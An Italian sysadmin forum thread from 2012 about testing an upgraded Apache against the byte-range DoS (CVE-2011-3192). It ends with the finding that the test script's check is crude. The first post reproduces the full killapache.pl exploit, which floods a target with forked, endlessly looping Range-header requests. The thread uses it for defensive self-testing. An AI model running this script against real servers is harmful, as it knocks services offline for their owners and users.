Pagina 1 di 1

[RISOLTO] aggiornamento apache: host SEEMS vuln

Inviato: lun 19 mar 2012, 19:42
da ZeroUno
Salve.

Per risolvere la vulnerabilità del byterange ho aggiornato ad apache 2.2.22

Ho lanciato lo script perl kill-apache:

Codice: Seleziona tutto

#!/usr/bin/perl
##Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
 
use IO::Socket;
use Parallel::ForkManager;
 
sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope\n";
    print "usage: perl killapache.pl <host> [numforks]\n";
    print "example: perl killapache.pl www.example.com 50\n";
}
 
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
     
$pm = new Parallel::ForkManager($numforks);
 
$|=1;
srand(time());
$p = "";                                                                                                                                                     
for ($k=0;$k<1300;$k++) {
    $p .= ",5-$k";
}
 
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;  
     
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');
 
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
 
while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
 
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');
 
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
 
$x = <$sock>;
if ($x =~ /Partial/) {
    print "host seems vuln\n";
    return 1;  
} else {
    return 0;  
}
}
 
if ($#ARGV < 0) {
    usage;
    exit;  
}
 
if ($#ARGV > 1) {
    $numforks = $ARGV[1];
} else {$numforks = 50;}
 
$v = testapache();
if ($v == 0) {
    print "Host does not seem vulnerable\n";
    exit;  
}
while(1) {
killapache();
}
e l'esito è:

Codice: Seleziona tutto

host seems vuln
Ho provato a lasciare ByteRanges commentato, a metterlo a 200 e metterlo a 20, ma la situazione non cambia.

Come mai?

Re: aggiornamento apache: host seems vuln

Inviato: mar 20 mar 2012, 12:43
da ZeroUno
Nota: qualche mese fa ho compilato con le stesse configurazioni apache 2.2.21+openssl 1.0.0e e questo risultava NON vulnerabile.

EDIT: da http://svn.apache.org/repos/asf/httpd/h ... .x/CHANGES
Changes with Apache 2.2.22

*) Fix a regression introduced by the CVE-2011-3192 byterange fix in 2.2.20:
A range of '0-' will now return 206 instead of 200. PR 51878.
[Jim Jagielski]

*) Example configuration: Fix entry for MaxRanges (use "unlimited" instead
of "0"). [Rainer Jung]


Changes with Apache 2.2.21

*) Fix a regression introduced by the CVE-2011-3192 byterange fix in 2.2.20.
PR 51748. [<lowprio20 gmail.com>]


Changes with Apache 2.2.20

*) SECURITY: CVE-2011-3192 (cve.mitre.org)
core: Fix handling of byte-range requests to use less memory, to avoid
denial of service. If the sum of all ranges in a request is larger than
the original file, ignore the ranges and send the complete file.
PR 51714. [Stefan Fritsch, Jim Jagielski, Ruediger Pluem, Eric Covener]
Confermo che ora restituisce 206, ma non è che questo introduce qualche bug? Se non sistemo la cosa devo mettere il 2.2.21

al lancio del killer-apache:

log apache 2.2.21:

Codice: Seleziona tutto

127.0.0.1 - - [20/Mar/2012:13:02:25 +0100] "HEAD / HTTP/1.1" 200 -
log apache 2.2.22:

Codice: Seleziona tutto

127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
...
In entrambi maxrange è commentato.

Re: aggiornamento apache: host seems vuln

Inviato: mar 20 mar 2012, 13:29
da ZeroUno
NOTA: RISULTA VULNERABILE ANCHE IL 2.4.1 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

EDIT: ED ANCHE IL 2.2.22 DI SLACKWARE (ALMENO SU CURRENT64)!!!!!!

Re: aggiornamento apache: host seems vuln

Inviato: mar 20 mar 2012, 14:18
da ZeroUno
Ho fatto una prova. Ho compilato apache 2.2.21 introducendo le modifiche al byterange del 2.2.22 e questo diventa vulnerabile. Viceversa ho compilato apache 2.2.22 eliminando le modifiche al byterange e questo diventa non vulnerabile:

Codice: Seleziona tutto

diff -ur httpd-2.2.21/modules/http/byterange_filter.c httpd-2.2.22/modules/http/byterange_filter.c
--- httpd-2.2.21/modules/http/byterange_filter.c        2011-09-08 12:41:15.000000000 +0200
+++ httpd-2.2.22/modules/http/byterange_filter.c        2011-09-28 23:48:45.000000000 +0200
@@ -500,6 +500,20 @@
             }
             else {                  /* "5-" */
                 end = clength - 1;
+                /*
+                 * special case: 0-
+                 *   ignore all other ranges provided
+                 *   return as a single range: 0-
+                 */
+                if (start == 0) {
+                    apr_array_clear(*indexes);
+                    idx = (indexes_t *)apr_array_push(*indexes);
+                    idx->start = start;
+                    idx->end = end;
+                    sum_lengths = clength;
+                    num_ranges = 1;
+                    break;
+                }
             }
         }

@@ -526,9 +540,9 @@
         /* If all ranges are unsatisfiable, we should return 416 */
         return -1;
     }
-    if (sum_lengths >= clength) {
+    if (sum_lengths > clength) {
         ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r,
-                      "Sum of ranges not smaller than file, ignoring.");
+                      "Sum of ranges larger than file, ignoring.");
         return 0;
     }

Re: aggiornamento apache: host seems vuln

Inviato: mer 21 mar 2012, 10:35
da ZeroUno
Ormai ho deciso. Installo il 2.2.22 con il rollback del byterange_filter.c a 2.2.21; i test li ho fatti e funge.

Nota: ho provato a mettere, nella configurazione, MaxRange a 1 e risulta ancora vulnerabile (o meglio, forse non lo è ma resta di fatto che la cpu mi sale a 15% e i log mi fanno migliaia di righe in pochi secondi; già questo lo ritengo un dos perchè mi riempirebbe il filesystem con poco tempo). Non risulto vulnerabile solo se metto MaxRange a none.

[RISOLTO] aggiornamento apache: host seems vuln

Inviato: mar 27 mar 2012, 11:49
da ZeroUno
A quanto pare "host SEEMS vuln" != "host IS vuln"

Quindi non è necessario il rollback della patch (che renderebbe il byte-range fuori rfc).
Tuttavia un tentativo di attacco semplice mi riempirebbe il filesystem di log in pochi minuti generando così un altro tipo di DoS.

Per l'uso che ne faccio io va benissimo "MaxRange none" (si tratta di tutti reverse proxy senza alcun contenuto statico in htdocs)


Comunque non sono il solo ad aver notato l'anomalia di killapache.pl
https://issues.apache.org/bugzilla/show ... =51878#c11
Eric Covener 2012-03-21 12:04:32 UTC
(In reply to comment #10)
> When "killapache.pl" script is executed against Opensource Apache 2.2.22
> Windows binary, it shows "host seems vuln" message. This behaviour was not
> observed in Apache 2.2.21 version. Whether this means CVE-2011-3192
> vulnerability is re-introduced in Opensource Apache 2.2.22 version while fixing
> the below byterange regression?
>
> *) Fix a regression introduced by the CVE-2011-3192 byterange fix in 2.2.20:
> A range of '0-' will now return 206 instead of 200. PR 51878.
> [Jim Jagielski]

No, it means killapache.pl has crude detection for vulnerable hosts. It flags
any system that responds to range headers.